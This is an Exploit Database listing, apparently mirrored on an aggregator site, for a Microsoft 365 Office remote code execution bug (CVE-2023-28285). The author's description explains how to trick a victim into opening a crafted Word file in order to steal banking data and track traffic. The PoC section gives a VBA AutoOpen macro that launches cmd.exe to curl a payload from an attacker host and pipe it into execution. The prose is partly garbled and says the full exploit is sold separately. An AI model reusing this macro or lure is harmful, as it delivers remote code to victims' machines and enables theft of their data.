Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 64-bit – Remote Code Execution (RCE)

• Exploit Database
• 131 阅读

• 作者： nu11secur1ty
  日期： 2023-07-03
• 类别：

  • remote
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/51552/
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  ## Title: Microsoft 365 MSO (Version 2305 Build 16.0.16501.20074) 64-bit - Remote Code Execution (RCE) ## Author: nu11secur1ty ## Date: 04.17.2023 ## Vendor: https://www.microsoft.com/ ## Software: https://www.microsoft.com/en-us/microsoft-365/ ## Reference: https://www.crowdstrike.com/cybersecurity-101/remote-code-execution-rce/ ## CVE-2023-28285     ## Description: The attack itself is carried out locally by a user with authentication to the targeted system. An attacker could exploit the vulnerability by convincing a victim, through social engineering, to download and open a specially crafted file from a website which could lead to a local attack on the victim&apos;s computer. The attacker can trick the victim to open a malicious web page by using a malicious <code>Word</code> file for Office-365 API</code>. After the user will open the file to read it, from the API of Office-365, without being asked what it wants to activate, etc, he will activate the code of the malicious server, which he will inject himself, from this malicious server. Emedietly after this click, the attacker can receive very sensitive information! For bank accounts, logs from some sniff attacks, tracking of all the traffic of the victim without stopping, and more malicious stuff, it depends on the scenario and etc. STATUS: HIGH Vulnerability   [+]Exploit: The exploit server must be BROADCASTING at the moment when the victim hit the button of the exploit!   [+]PoC: </code><code>cmd Sub AutoOpen() Call Shell("cmd.exe /S /c" & "curl -s http://attacker.com/CVE-2023-28285/PoC.debelui | debelui", vbNormalFocus) End Sub </code><code> ## FYI: The PoC has a price and this report will be uploaded with a description and video of how you can reproduce it only.   ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-mitre/tree/main/2023/CVE-2023-28285)   ## Proof and Exploit [href](https://www.nu11secur1ty.com/2023/04/cve-2023-28285-microsoft-office-remote.html)   ## Time spend: 01:30:00